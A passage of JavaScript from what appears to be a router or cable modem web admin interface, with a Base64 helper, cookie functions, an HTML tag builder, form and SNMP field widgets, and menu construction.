{\n\t\t\tchr1 = input.charCodeAt(i++);\n\t\t\tchr2 = input.charCodeAt(i++);\n\t\t\tchr3 = input.charCodeAt(i++);\n\t\t\tenc1 = chr1 >> 2;\n\t\t\tenc2 = ((chr1 & 3) << 4) | (chr2 >> 4);\n\t\t\tenc3 = ((chr2 & 15) << 2) | (chr3 >> 6);\n\t\t\tenc4 = chr3 & 63;\n\t\t\tif (isNaN(chr2)) {\n\t\t\t\tenc3 = enc4 = 64;\n\t\t\t} else if (isNaN(chr3)) {\n\t\t\t\tenc4 = 64;\n\t\t\t}\n\t\t\toutput = output +\n\t\t\tthis._keyStr.charAt(enc1) + this._keyStr.charAt(enc2) +\n\t\t\tthis._keyStr.charAt(enc3) + this._keyStr.charAt(enc4);\n\n\t\t}\n\t\treturn output;\n\t},\n\t// public method for decoding\n\tdecode : function (input) {\n        if (input === null)\n            return \"\";\n\t\tvar output = \"\";\n\t\tvar chr1, chr2, chr3;\n\t\tvar enc1, enc2, enc3, enc4;\n\t\tvar i = 0;\n\t\tinput = input.replace(/[^A-Za-z0-9\\+\\/\\=]/g, \"\");\n\t\twhile (i < input.length) {\n\t\t\tenc1 = this._keyStr.indexOf(input.charAt(i++));\n\t\t\tenc2 = this._keyStr.indexOf(input.charAt(i++));\n\t\t\tenc3 = this._keyStr.indexOf(input.charAt(i++));\n\t\t\tenc4 = this._keyStr.indexOf(input.charAt(i++));\n\t\t\tchr1 = (enc1 << 2) | (enc2 >> 4);\n\t\t\tchr2 = ((enc2 & 15) << 4) | (enc3 >> 2);\n\t\t\tchr3 = ((enc3 & 3) << 6) | enc4;\n\t\t\toutput = output + String.fromCharCode(chr1);\n\t\t\tif (enc3 != 64) {\n\t\t\t\toutput = output + String.fromCharCode(chr2);\n\t\t\t}\n\t\t\tif (enc4 != 64) {\n\t\t\t\toutput = output + String.fromCharCode(chr3);\n\t\t\t}\n\t\t}\n\t\toutput = Base64._utf8_decode(output);\n\t\treturn output;\n\t},\n\n\t// private method for UTF-8 encoding\n\t_utf8_encode : function (string) {\n\t\tstring = string.replace(/\\r\\n/g,\"\\n\");\n\t\tvar utftext = \"\";\n\t\tfor (var n = 0; n < string.length; n++) {\n\t\t\tvar c = string.charCodeAt(n);\n\t\t\tif (c < 128) {\n\t\t\t\tutftext += String.fromCharCode(c);\n\t\t\t}\n\t\t\telse if((c > 127) && (c < 2048)) {\n\t\t\t\tutftext += String.fromCharCode((c >> 6) | 192);\n\t\t\t\tutftext += String.fromCharCode((c & 63) | 128);\n\t\t\t}\n\t\t\telse {\n\t\t\t\tutftext += String.fromCharCode((c >> 12) | 224);\n\t\t\t\tutftext += String.fromCharCode(((c >> 6) & 63) | 128);\n\t\t\t\tutftext += String.fromCharCode((c & 63) | 128);\n\t\t\t}\n\t\t}\n\t\treturn utftext;\n\t},\n\t// private method for UTF-8 decoding\n\t_utf8_decode : function (utftext) {\n\t\tvar string = \"\";\n\t\tvar i = 0;\n\t\tvar c = c1 = c2 = 0;\n\t\twhile ( i < utftext.length ) {\n\t\t\tc = utftext.charCodeAt(i);\n\t\t\tif (c < 128) {\n\t\t\t\tstring += String.fromCharCode(c);\n\t\t\t\ti++;\n\t\t\t}\n\t\t\telse if((c > 191) && (c < 224)) {\n\t\t\t\tc2 = utftext.charCodeAt(i+1);\n\t\t\t\tstring += String.fromCharCode(((c & 31) << 6) | (c2 & 63));\n\t\t\t\ti += 2;\n\t\t\t}\n\t\t\telse {\n\t\t\t\tc2 = utftext.charCodeAt(i+1);\n\t\t\t\tc3 = utftext.charCodeAt(i+2);\n\t\t\t\tstring += String.fromCharCode(((c & 15) << 12) | ((c2 & 63) << 6) | (c3 & 63));\n\t\t\t\ti += 3;\n\t\t\t}\n\t\t}\n\t\treturn string;\n\t}\n}\n\n\n\n\n\nfunction createCookie(name, value, seconds) {\n    var expires = \"\";\n    if (seconds) {\n        var date = new Date();\n        date.setTime(date.getTime() + (seconds * 1000 + 15));\n        expires = \"; expires=\" + date.toGMTString();\n    }\n    document.cookie = name + \"=\" + value + expires + \"; path=/\";\n}\nfunction updateCookieExpiration(name, seconds) {\n    var cookie = readCookie(name);\n    if (!cookie)\n        return;\n    eraseCookie(cookie);\n    createCookie(name, cookie, seconds);\n}\nfunction readCookie(name) {\n    var nameEQ = name + \"=\";\n    var ca = document.cookie.split(';');\n    for (var i = 0; i < ca.length; i++) {\n        var c = ca[i];\n        while (c.charAt(0) == ' ') c = c.substring(1, c.length);\n        if (c.indexOf(nameEQ) === 0) return c.substring(nameEQ.length, c.length);\n    }\n    return null;\n}\n\nfunction eraseCookie(name) {\n    createCookie(name, \"\", -1);\n}\n\nfunction htmlEscape(s) {\n    s = \"\"+s; // make sure a string\n    return  s.replace(/&/g,'&amp;').\n                replace(/>/g,'&gt;').\n                replace(/</g,'&lt;').\n                replace(/\"/g,'&quot;');\n}\nvar _nextName = 0;\nfunction getNextName(base) {\n    return \"_\" + base + \"_\" + (_nextName++);\n}\n\nfunction buildTag(thetag) {\n    return function () {\n        var def = { tag: thetag };\n        var contents = [];\n        def.toHTML = function () {\n            var str = \"\";\n            if (def.constructor == Array) {\n                for (var i = 0; i < def.length; i++)\n                    str += def[i].toHTML();\n                return str;\n            }\n            str += \"<\" + def.tag + \" \";\n            $.each(def, function (key, value) {\n                if (!key || key.charAt(0) == '_' || key == \"tag\" || key == \"contents\" || key == \"text\" || typeof value !== \"string\")\n                    return key;\n                str += key + \"=\\\"\" + value + \"\\\" \";\n            });\n            str += \">\";\n            if (def.text)\n                str += def.text;\n            if (def.contents) {\n                if (def.contents.constructor == Array) {\n                    for (i = 0; i < def.contents.length; i++)\n                        str += def.contents[i].toHTML();\n                } else {\n                    str += def.contents.toHTML();\n                }\n            }\n            str += \"</\" + def.tag + \">\";\n            return str;\n        };\n        var add = function () {\n            for (var i = 0; i < arguments.length; i++) {\n                var a = arguments[i];\n                if (!a)\n                    continue;\n                if (typeof a === \"string\") {\n                    var index = a.indexOf(\":\");\n                    var key = a.substr(0, index);\n                    var val = a.substr(index + 1);\n                    val = val.varsub(function(s) { return s.startsWith(\"=\") ?  eval(s.substring(1)) : xlate(s); });\n                    def[key] = val;\n                } else if (typeof a == \"function\") {\n                    var fname = a.toString();\n                    fname = fname.substring(fname.indexOf(\" \") + 1, fname.indexOf(\"(\"));\n                    var uniquefname = getNextName(fname);\n                    window[uniquefname] = function (e) {\n                        _lastEvent = window[\"event\"] ? event : e;\n                        a(_lastEvent);\n                    };\n                    def[fname] = \"{ \" + uniquefname + \"(arguments[0]);}\";\n                } else if (_.isArray(a)) {\n                    for (var j = 0; j < a.length; j++)\n                        add(a[j]);\n                } else {\n                    contents.push(a);\n                }\n            }\n        };\n        add.apply(this, arguments);\n        if (contents.length)\n            def[\"contents\"] = contents;\n        return def;\n    };\n}\n\n\n$.each([ \"a\",\"abbr\",\"acronym\",\"address\",\"applet\",\"area\",\"b\",\"base\",\"basefont\",\"bdo\",\"big\",\"blockquote\",\"body\",\"br\",\"button\",\"caption\",\"center\",\"cite\",\"code\",\"col\",\"colgroup\",\"dd\",\"del\",\n    \"dfn\",\"dir\",\"div\",\"dl\",\"dt\",\"em\",\"fieldset\",\"font\",\"form\",\"frame\",\"frameset\",\"h1\",\"h2\",\"h3\",\"h4\",\"h5\",\"h6\",\"head\",\"hr\",\"html\",\"i\",\"iframe\",\"img\",\"input\",\"ins\",\"isindex\",\"kbd\",\"label\",\n    \"legend\",\"li\",\"link\",\"map\",\"menu\",\"meta\",\"noframes\",\"noscript\",\"object\",\"ol\",\"optgroup\",\"option\",\"p\",\"param\",\"pre\",\"q\",\"s\",\"samp\",\"script\",\n    \"select\",\"small\",\"span\",\"strike\",\"strong\",\"style\",\"sub\",\"sup\",\"table\",\"tbody\",\"td\",\"textarea\",\"tfoot\",\"th\",\"thead\",\"title\",\"tr\",\"tt\",\"u\",\"ul\",\"var\" ]\n        , function(i, t) {\n    if (window[\"_\" + t])\n        throw(\"error _\" + t + \" already defined.\");\n    window[\"_\" + t] = buildTag(t);\n\n});\n\nfunction parseLabel(label) {\n    var index = label.indexOf(\":\");\n    if (index == -1) {\n        return { label: label, oid: \"\" };\n    } else {\n        var key = label.substr(0, index);\n        var val = label.substr(index + 1);\n        //OIDs.push(val);\n        return { label: key, oid: val };\n    }\n}\n\n// $(\"body\").width()\n\nfunction helpTag(label1, text) {\n    var t = text || helpText(label1);\n    afterBuild(function() {\n        $(\"#\"+label1+\"_image_tt\").mouseenter(function(e) {\n            $(\"body\").append(\"<div id='ttip' class=toolTip></div>\");\n            $(\"#ttip\").text(t);\n            $(\"#ttip\").css('z-index',\"11000\");\n            $(\"#ttip\").css('top', $(this).offset().top);\n            $(\"#ttip\").css('left',$(this).offset().left+32);\n            $(\"#ttip\").show();\n        });\n        $(\"#\"+label1+\"_image_tt\").mouseleave(function(e) {\n           $(\"#ttip\").remove();\n        });\n    });\n    return  _div(\"style:display:inline;\",  _img(\"id:\"+label1+\"_image_tt\", \"src:\" + basePath + \"i/help.png\", \"height:16px\", \"width:16px\", \"style:padding-left:10px;padding-right:10px;\"\n        ));\n}\n//    return  _img(\"class:tipped\", \"src:\" + basePath + \"i/help.png\", \"height:16px\", \"width:16px\", \"style:padding-left:10px;padding-right:10px;\", \"title:\" + helpText(label1));\n\n\nfunction inlineButton(label1, onclick) {\n    return _tr(_td(\"width:35%\", \"text:\" + xlate(label1)), _td(_input(\"type:button\", \"id:\" + label1, \"value:{{\"+label1+\"}}\", onclick), helpTag(label1)));\n}\nfunction inlineButtonRaw(label1, onclick) {\n    return _tr(_td(_input(\"type:button\", \"id:\" + label1, \"value:{{\"+label1+\"}}\", onclick)));\n}\nfunction inlineButtonRaw2(label1, onclick,label2, onclick2) {\n    return _tr(_td(_input(\"type:button\", \"id:\" + label1, \"value:{{\"+label1+\"}}\", onclick),_input(\"type:button\", \"id:\" + label2, \"value:{{\"+label2+\"}}\", onclick2)));\n}\nfunction inlineButtonImage(label1, image, onclick) {\n    return _tr(_td(\"width:35%\", \"text:{{\"+label1+\"}}\"), _td(_input(\"type:image\", \"id:\" + label1, \"src:\" + image, onclick), helpTag(label1)));\n}\n\n\nfunction formatter(args) {\n    var f = { };\n    f.load = function(v) {\n        return v === undefined || v === null ? \"\" : v;\n    };\n    f.store = function(v) {\n        return v === undefined || v === null ? \"\" : v;\n    };\n    f.validate = function(v) {\n        if (this.notEmpty && (\"\"+v).length == 0)\n            throw xlate(\"%s: must have a value\", f.label);\n        if (this.notZero && v.asInt() === 0)\n            throw xlate(\"%s: must be a positive number\", f.label);\n        return v;\n    };\n    f.storeAndValidate = function(v) {\n        return f.store(f.validate(v));\n    };\n    if (args) {\n        _.each(args, function(v, k) {\n            f[k] = v;\n        });\n    }\n    return f;\n}\n\nfunction textFormatter(args) {\n    var o = formatter(args);\n    o.load = function(v) {\n        v = ( v === undefined || v === null) ? \"\" : v;\n        if (v && isHexString(v) && v.endsWith(\" 00\")) { // strip improper null term\n            v = v.substr(0, v.length-3);\n            v = hexToString(v);\n        }\n        return v;\n    };\n    return o;\n}\n\n\n\n\n\nfunction text(label1, fmt, helpText) {\n    if (technicianOnly(label1) && !isTechnician())\n        return null;\n    var f = fmt ? fmt : formatter();\n    //    afterBuild(function() {\n    //        $(\"#\"+label1).bind(\"change\", function() {\n    //            adirty[label1] = $(\"#\"+label1).valOrCheckd();\n    //        });\n    //    });\n    if (f.store)\n        afterApply(function() {\n            if (ag[label1] !== undefined) {\n                if (!$(\"#\"+label1).attr(\"disabled\")) {\n                    var v =(f.validate($(\"#\" + label1).valOrChecked()));\n                    ag.dirty[label1] = ag[label1] !== v;\n                    if (ag.dirty[label1])\n                        $.log(\"dirty \"+label1+\" \"+ag[label1]+\" \"+v);\n                    ag[label1] = f.store(v);\n                    }\n            } else ag.dirty[label1] = true;\n\n        });\n    var type = label1.indexOf(\"Password\") != -1 ? \"password\" : \"text\";\n    if (label1 == \"Keystring\")\n        type = \"password\";\n\n    if (f.password)\n        type = \"password\";\n    f.label = xlate(label1);\n    ag[label1] = f.load ? f.load(ag[label1]) : ag[label1];\n    return _tr(_td(\"width:35%\", \"text:{{\"+label1+\"}}\"), _td(_input(\"type:\" + type, \"id:\" + label1, \"value:\" + htmlEscape(\"\"+ag[label1]),\n            (f.size ? \"size:\" + f.size : null)), helpTag(label1, helpText)));\n}\nfunction text2(label1, fmt, sepText, helpText) {\n    if (technicianOnly(label1) && !isTechnician())\n        return null;\n    var f = fmt ? fmt : formatter();\n    var l = parseLabel(label1);\n    if (f.store)\n        afterApply(function() {\n            if (ag[label1] !== undefined) {\n                var v1 = (f.validate($(\"#\" + label1).valOrChecked()));\n                ag.dirty[label1] = ag[label1] !== v1;\n                ag[label1]  = f.store(v1);\n            } else ag.dirty[label1] = true;\n            if (ag[label1 + \"_1\"] !== undefined) {\n                var v2 = (f.validate($(\"#\" + label1 + \"_1\").valOrChecked()));\n                ag.dirty[label1 + \"_1\"] = ag[label1 + \"_1\"] !== v2;\n                ag[label1 + \"_1\"]  = f.store(v2);\n            } else ag.dirty[label1 + \"_1\"] = true;\n        });\n    ag[label1] = f.load(ag[label1]);\n    ag[label1 + \"_1\"] = f.load(ag[label1 + \"_1\"]);\n    f.label = xlate(label1);\n\n    return _tr(_td(\"width:35%\", \"text:{{\" + label1 + \"}}\"),\n            _td(_input(\"type:text\", \"id:\" + l.label, (f.size ? \"size:\" + f.size : null), \"value:\" + htmlEscape(\"\"+ag[label1])), _b(\"text:\" + (sepText !== undefined ? \"&nbsp;\" + sepText + \"&nbsp;\" : \"\")), _input(\"type:text\", (f.size ? \"size:\" + f.size : null), \"id:\" + l.label + \"_1\", \"value:\" + htmlEscape(\"\"+ag[label1 + \"_1\"])), helpTag(label1, helpText)));\n}\nfunction rotext(label1, fmt) {\n    if (technicianOnly(label1) && !isTechnician())\n        return null;\n    var f = fmt ? fmt : formatter();\n    var l = parseLabel(label1);\n    ag[label1] = f.load ? f.load(ag[label1]) : ag[label1];\n\n    return _tr(_td(\"width:35%\", \"text:{{\" + label1 + \"}}\"), _td(_input(\"type:text\", \"id:\" + l.label, (f.size ? \"size:\" + f.size : null), \"class:read_only\", \"disabled:disabled\", \"value:\" + htmlEscape(ag[label1])), helpTag(label1)));\n}\nfunction snmpText(label1, val, size) {\n    return _tr(_td(\"width:35%\", \"text:{{\" + label1+\"}}\"), _td(_input(\"type:text\", \"class:read_only\", \"disabled:disabled\", \"value:\" + val,\n            (size !== undefined ? \"size:\" + size : null))));\n\n}\nvar snmpTextEditId = 0;\nfunction snmpTextEdit(label1, val, size) {\n    return _tr(_td(\"width:35%\", \"text:{{\" + label1+\"}}\"), _td(_input(\"id:snmpTextEdit\"+(snmpTextEditId++),\"type:text\",\"value:\" + val,\n            (size !== undefined ? \"size:\" + size : null))));\n}\nfunction snmpTextArea(label1, val) {\n    return _tr(_td(\"width:35%\", \"text:{{\" + label1+\"}}\"), _td(_textarea(\"rows:6\", \"cols:50\", \"class:read_only\", \"disabled:disabled\", \"text:\" + val\n            )));\n\n}\n\n\nfunction snmpFieldset(label1, contents) {\n    return _div(\"id:\" + label1, _h4(\"text:{{\" + label1+\"}}\"), _table(\"class:common_table\", _tbody($.makeArray(arguments).slice(1))));\n}\n\nfunction form(label1, label2, contents) {\n    return _div(_div(\"class:description\", _h3(\"text:{{\" + label1+\"}}\"), _div(\"text:{{\" + label2+\"}}\")),\n        //_div(\"id:loading_distractor\" , \"style:display: none;\",\n        //\"style:position:absolute;left:300px;top:350px;z-index:9;\",\n        //_span(_img(\"src:i/distractor.gif\"))),\n            $.makeArray(arguments).slice(2), _br(), _br());\n}\n\nfunction fieldset(label1, contents) {\n    if (technicianOnly(label1) && !isTechnician())\n        return null;\n    if (!fieldsetVisible(label1))\n        afterBuild(function() { $(\"#\" + label1).hide(); });\n    return _div(\"id:\" + label1, _h4(\"text:{{\" + label1+\"}}\"), _table(\"class:common_table\", _tbody($.makeArray(arguments).slice(1))));\n}\nfunction checkbox(label1, onchange, helpText) {\n    if (technicianOnly(label1) && !isTechnician())\n        return null;\n    afterApply(function() {\n        if (ag[label1] !== undefined) {\n            var v = $(\"#\" + label1).valOrChecked();\n            ag.dirty[label1] = ag[label1] != v;\n            ag[label1] = v;\n        } else  ag.dirty[label1] = true;\n    });\n\n    //checkboxItem(label1);\n    var l = parseLabel(label1);\n    var checked = ag[label1];\n\n    if (checked)\n        return _tr(_td(\"width:35%\", \"text:{{\" + label1+\"}}\"), _td(_input(\"type:checkbox\", \"id:\" + l.label, \"checked:true\", onchange), helpTag(label1, helpText)));\n    else return _tr(_td(\"width:35%\", \"text:{{\" + label1+\"}}\"), _td(_input(\"type:checkbox\", \"id:\" + l.label, onchange), helpTag(label1, helpText)));\n}\n\n// nb: values must be get set explicitly\nfunction checkbox4(label1, label2,label3, label4) {\n    if (technicianOnly(label1) && !isTechnician())\n        return null;\n\n    function buildCheck(name) {\n        var al = [ ];\n        if (name) {\n            al.push(_input(\"type:checkbox\", \"name:\"+name, \"id:\"+name));\n            al.push(_label(\"for:\"+name, \"text:&nbsp; &nbsp; &nbsp;\"+name));\n        }\n        return al;\n    }\n\n   return _tr(_td(\"width:25%\", buildCheck(label1)), _td(\"width:25%\", buildCheck(label2)),_td(\"width:25%\", buildCheck(label3)), _td(\"width:25%\", buildCheck(label4)));\n}\n\n\nfunction select(label1, vals, onchangefunc, selectedValue, helpText) {\n    if (technicianOnly(label1) && !isTechnician())\n        return null;\n    vals = _.without(vals, null);\n    var dirty = false;\n    // selectItem(label1);\n    var l = parseLabel(label1);\n    var options = [];\n    var value = selectedValue || ag[label1];\n    var haveSelected =  _.any(vals, function(v) { return v.split(\":\")[0] == value; });\n    var options = _.map(vals, function f(v, index) {\n        v = v.split(\":\");\n        if (v[0] == value || (!haveSelected && index ===0))\n            return  _option(\"value:\" + v[0], \"text:\" + htmlEscape(v[1]), \"selected:selected\");\n        else return  _option(\"value:\" + v[0], \"text:\" + htmlEscape(v[1]));\n    });\n    afterApply(function() {\n        if (ag[label1] !== undefined) {\n            var v = $(\"#\" + label1).valOrChecked();\n            ag.dirty[label1] = ag[label1] !== v;\n            ag[label1] = v;\n        } else  ag.dirty[label1] = true;\n    });\n    return _tr(_td(\"width:35%\", \"text:{{\" + label1+\"}}\"), _td(_select(\"id:\" + l.label, options, function onchange() {\n        dirty = true;\n        if (onchangefunc)\n            onchangefunc();\n    }), helpTag(label1, helpText)));\n}\nfunction select2(label1, vals, onchange, sepText) {\n    if (technicianOnly(label1) && !isTechnician())\n        return null;\n    afterApply(function() {\n        if (ag[label1] !== undefined) {\n            var v1 = $(\"#\" + label1).valOrChecked();\n            ag.dirty[label1] = ag[label1] !== v1;\n            ag[label1] = v1;\n        }  ag.dirty[label1] = true;\n        if (ag[label1 + \"_1\"] !== undefined) {\n            var v2 = $(\"#\" + label1 + \"_1\").valOrChecked();\n            ag.dirty[label1+ \"_1\" ] = ag[label1 + \"_1\"] !== v2;\n            ag[label1+ \"_1\"] = v2;\n        }  ag.dirty[label1+\"_1\"] = true;\n    });\n    vals = _.without(vals, null);\n    var l = parseLabel(label1);\n    var options = [];\n    for (var i = 0; i < vals.length; i++) {\n        var index = vals[i].indexOf(\":\");\n        options[i] = _option(\"value:\" + vals[i].substr(0, index), \"text:\" + vals[i].substr(index + 1));\n    }\n    return _tr(_td(\"width:35%\", \"text:{{\" + label1+\"}}\"), _td(_select(\"id:\" + l.label, options, onchange),\n            _b(\"text:\" + (sepText !== undefined ? \"&nbsp;\" + sepText + \"&nbsp;\" : \"\")),\n            _select(\"id:\" + l.label + \"_1\", options, onchange), helpTag(label1)));\n}\n\nfunction select2Optional(label1, vals, onchange, sepText, optionalCheckText) {\n    if (technicianOnly(label1) && !isTechnician())\n        return null;\n    afterBuild(function() {\n        $(\"#\" + l.label + \"div\").hide();\n    });\n    afterApply(function() {\n        if (ag[label1] !== undefined) {\n            ag[label1 + \"_Checked\"] = $(\"#\" + label1 + \"check\").valOrChecked();\n        }\n        if (ag[label1] !== undefined) {\n            ag[label1] = $(\"#\" + label1).valOrChecked();\n        }\n        if (ag[label1 + \"_1\"] !== undefined) {\n            ag[label1 + \"_1\"] = $(\"#\" + label1 + \"_1\").valOrChecked();\n        }\n    });\n    vals = _.without(vals, null);\n    var l = parseLabel(label1);\n    var options = [];\n    for (var i = 0; i < vals.length; i++) {\n        var index = vals[i].indexOf(\":\");\n        options[i] = _option(\"value:\" + vals[i].substr(0, index), \"text:\" + vals[i].substr(index + 1));\n    }\n    return _tr(_td(\"width:35%\", \"text:{{\" + label1+\"}}\"),\n            _td(_div(\"style:height:24px;width:100px;\", _input(\"id:\" + l.label + \"_Checked\", \"type:checkbox\", \"checked:checked\",\n                  function onclick() {\n                if (!$(\"#\" + l.label + \"_Checked\").valOrChecked()) {\n                    $(\"#\" + l.label + \"div\").show();\n                } else {\n                    $(\"#\" + l.label + \"div\").hide();\n                }\n            }\n\n//                    function onchange() {\n//                if (!$(\"#\" + l.label + \"_Checked\").valOrChecked()) {\n//                    alert(\"show \"+(\"#\" + l.label + \"div\"));\n//                    $(\"#\" + l.label + \"div\").show();\n//                } else {\n//                    alert(\"hide \"+(\"#\" + l.label + \"div\"));\n//                    $(\"#\" + l.label + \"div\").hide();\n//                }\n//            }\n                    ), _b(\"text:\" + optionalCheckText)),\n                //   <label for=\"check3\">U</label>\n                    _div(\"id:\" + l.label + \"div\",\n                            _select(\"id:\" + l.label, options, onchange),\n                            _b(\"text:\" + (sepText !== undefined ? \"&nbsp;\" + sepText + \"&nbsp;\" : \"\")),\n                            _select(\"id:\" + l.label + \"_1\", options, onchange), helpTag(label1))));\n}\nfunction ApplyButton() {\n    return buttons(\"{{Apply}}\", function onclick(event) {\n        Apply();\n    });\n}\n\nfunction buttons() {\n    var buttons = [];\n    for (var i = 0; i < 4; i++)\n        if (arguments[i * 2]) {\n            buttons.push(_input(\"type:button\", \"value:\" + arguments[i * 2], \"class:submitBtn\", arguments[i * 2 + 1]));\n        }\n\n    return _div(_br(), buttons);\n}\nfunction dialog(id, title, elements, okName, okAction) {\n    var buttonsDef = { };\n    buttonsDef[xlate(\"Cancel\")] = function() {\n        $(this).dialog(\"close\");\n    };\n    buttonsDef[xlate(okName)] = function() {\n        try {\n            okAction.apply(this);\n        } catch (e) {\n            handleError(e);\n        }\n    };\n    window[\"dialog_\" + id] = {\n        autoOpen: false, width:500, modal: true,\n        dialogClass: \"fieldgrp\",\n        buttons: buttonsDef\n    };\n\n    return _div(\"id:\" + id, \"title:\" + xlate(title), _table(\"class:common_table\", _tbody(elements)));\n}\nfunction prepareDialog(id) {\n    $(\"#\" + id).dialog(window[\"dialog_\" + id]);\n}\n\nfunction getURLArgs() {\n    var pos = location.href.lastIndexOf('?');\n    if (pos == -1)\n        return \"\";\n    var s = decodeURI(location.href.substr(pos + 1)).split(\"&\");\n    var page = s[0];\n    _.each(s, function(a) {\n       if (a.startsWith(\"debug\")) {\n           debug(a.substr(5));\n       }\n    });\n    return page;\n}\n\nfunction getPage() {\n    var v = window.location.pathname;\n    if (v.startsWith(\"/\"))\n        v = v.slice(1);\n    return v;\n}\n\n\nfunction goRebuild(tag) {\n    window.event.preventDefault();\n    rebuild(tag);\n    // window.open(getPage()+'?'+tag, \"_self\");\n}\nfunction go(tag) {\n    window.open(getPage() + '?' + tag, \"_self\");\n}\n\nfunction buildShell() {\n    $.log(\"buildShell\");\n\n    if (typeof noMenus !== \"undefined\" && noMenus) {\n        var shell = _div(\"id:wrapper\",\n                _div(\"id:content\",\n                        _div(\"id:tabs\",\n                                _div(\"id:first\",\n                                        _div(\"id:placeholder\",\n                                                _table(_tbody(_tr(\n                                                        _td(_div(\"id:mainpage\"))))))\n                                        ))),\n                _div(\"id:walk-dialog\", \"title:\", \"style:display: none;\"),\n                 _div(\"id:action-dialog\", \"title:\", \"style:display: none;\"),\n                    _div(\"id:error-dialog\", \"title:\", \"style:display: none;\"),\n                     _div(\"id:wait-dialog\", \"title:\", \"style:display: none;\", \"text:Applying Changes...\")\n                );\n        $(shell.toHTML()).appendTo(\"body\");\n\n\n        $(\"body\").css(\"background\", \"transparent\");\n        $(\"#wrapper\").css(\"background\", \"transparent\");\n        $(\"#footer\").css(\"background\", \"transparent\");\n        $(\"#wrapper\").css(\"width\", \"650\");\n\n\n        return;\n    }\n\n    //id page children\n    var m = menu();\n    if (!isLoggedIn()) {\n        m = [\n            { id: \"Login\", page: \"login\", children: [\n                { id: \"Login\", page:\"login\" }\n            ] }\n        ];\n    }\n\n    var hash = isLoggedIn() ? (getURLArgs() || m[0].page) : \"login\";\n\n    var index = 0;\n\n    function sel(p) {\n        return getPage() == p ? \"class:selected\" : null;\n    }\n\n    //    var topNav = _ul(\"id:nav\",\n    //            _li(_a(sel(\"router.html\"), \"href:router.html\", \"text:Wireless\")), // \"href:router.html\",\n    //            _li(_a(sel(\"cm.html\"), \"href:cm.html\", \"text:HSD\" )), // \"href:router.html\",\n    //           // _li(_a(\"href:voice.html\", \"text:Voice\")), // \"class:end\"\n    //            //_li(_a(\"href:phy.htm\", \"class:end\", \"text:Voice\")),\n    //            _li(_a(\"href:\"+getPage(),  \"text:Logout\", function onclick() {\n    //                logout();\n    //                refresh();\n    //            }))\n    //            );\n    var hsd = menuVisible(\"HSD\"); \n    var topNav = getAttr(\"CLASSICCM\") ? _ul(\"id:nav\",\n            _li(_a(\"class:selected\", \"href:#\", \"text:{{Wireless}}\")), // \"href:router.html\",\n\n           hsd ?  _li(_a(getAttr(\"CLASSICCM\") ? (\"href:\"+ \"phy.htm\") : (\"href:cm.html\"), \"text:{{HSD}}\", \"class:end\")) : null, // \"href:router.html\",\n        // _li(_a(\"href:voice.html\", \"text:Voice\")),\n        //_li(_a(\"href:phy.htm\", \"class:end\", \"text:Voice\")),\n            _li(_a(\"href:router.html\", \"text:{{Logout}}\", function onclick() {\n                logout(true);\n                refresh();\n            }))\n            ) : _ul(\"id:nav\",\n            _li(_a(sel(\"router.html\"), \"href:router.html\", \"text:{{Wireless}}\")), // \"href:router.html\",\n            hsd ? _li(_a(sel(\"cm.html\"), \"href:cm.html\", \"text:{{HSD}}\")) : null, // \"href:router.html\",\n        // _li(_a(\"href:voice.html\", \"text:Voice\")), // \"class:end\"\n        //_li(_a(\"href:phy.htm\", \"class:end\", \"text:Voice\")),\n            _li(_a(\"href:\" + getPage(), \"text:{{Logout}}\", function onclick() {\n                logout(true);\n                refresh();\n            }))\n            );\n\n    var mainMenu = [ ];\n    var subMenu = [ ];\n    $.each(m, function(k, v) {\n        if (!v)\n            return;\n        if (v.page == hash) {\n            mainMenu = v;\n            subMenu = v;\n        } else {\n            $.each(v.children, function(k, vv) {\n                if (vv && vv.page == hash) {\n                    mainMenu = v;\n                    subMenu = vv;\n                }\n            });\n        }\n    });\n\n    $.log(mainMenu.id);\n    $.log(subMenu.id);\n\n\n    var sideNav = _div(\"id:navigation_bar\",\n            _h1(\"text:{{\" + mainMenu.id+\"}}\"),\n            _ul(\"class:sidenav\",\n                    $.map(mainMenu.children ? mainMenu.children : [], function(m) {  // \"class:current\" class:selected\n                        if (!m || !m.page)\n                           return null;\n                        if (m == subMenu)\n                            return _li(_a(\"href:\" + getPage() + \"?\" + m.page, \"text:{{\" + m.id+\"}}\", \"class:current\", \"onclick: go('\" + m.page + \"');\"));\n                        else return _li(_a(\"href:\" + getPage() + \"?\" + m.page, \"text:{{\" + m.id+\"}}\", \"onclick: go('\" + m.page + \"');\"));\n                    }),\n                    _div(\"style:VISIBILITY: hidden\", \"id:version\", \"text:1.0\")\n                    ),\n            _div(\"id:sidenav_bottom\"));\n\n\n    var shell = _div(\"id:wrapper\",\n            _div(\"id:header\", _img(\"src:i/logo.gif\", \"id:logo\"), topNav),\n        //    _div(\"id:header\", _img(\"src:logo_MSO.png\", \"id:logo\", \"width:150px\"), topNav),\n            _div(\"id:content\",\n                    _div(\"id:tabs\",\n                            _ul(\"class:tabNavigation\",\n                                    $.map(m, function(m) {  // \"class:current\"\n                                        if (!m)\n                                            return null;\n                                        var selected = _.include(_.pluck(m.children, \"page\"),base) ? \"class:selected\" : \"\";\n                                        return _li(_a(selected, \"href:\" + getPage() + \"?\" + m.page, \"text:{{\" + m.id+\"}}\", \"onclick: go('\" + m.page + \"');\"));\n                                    })\n                                    ),\n                            _div(\"id:first\",\n                                    _div(\"id:placeholder\",\n                                            _table(_tbody(_tr(\n                                                    _td(\"width:200px\", sideNav),\n                                                    _td(_div(\"id:mainpage\"))))))\n                                    ))),\n            _img(\"src:i/content_bottom.jpg\", \"width:973\", \"height:6\", \"complete:complete\"),\n            _div(\"id:footer\"),\n            _div(\"id:walk-dialog\", \"title:\", \"style:display: none;\"),\n             _div(\"id:action-dialog\", \"title:\", \"style:display: none;\"),\n                _div(\"id:error-dialog\", \"title:\", \"style:display: none;\"),\n           _div(\"id:wait-dialog\", \"title:\", \"style:display: none;\", \"text:Applying Changes...\")\n\n            )\n            ;\n    $(shell.toHTML()).appendTo(\"body\");\n    //  $(header.toHTML()).appendTo(\"#header\");\n    //  $(new Menu().build().toHTML()).appendTo($(\"#sidebar\"));\n\n    // make sure menus fit\n    $(\".sidenav a\").truncateTextToFit();\n}\n\n\nfunction afterBuild(func) {\n    _afterBuild.push(func);\n}\nfunction afterBuildOnce(func) {\n    if (!_.include(_afterBuild, func))\n        _afterBuild.push(func);\n}\n\nfunction afterApply(func) {\n    _afterApply.push(func);\n}\n\n// alog\nfunction addCustomSetting(s) {\n    var ud = snmpGet1(arCustomSettings.oid+\".0\") || \"\";\n    if (!ud.contains(s+\"!\")) {\n        ud += s+\"!\";\n        snmpSet1(arCustomSettings.oid+\".0\", ud, \"4\");\n    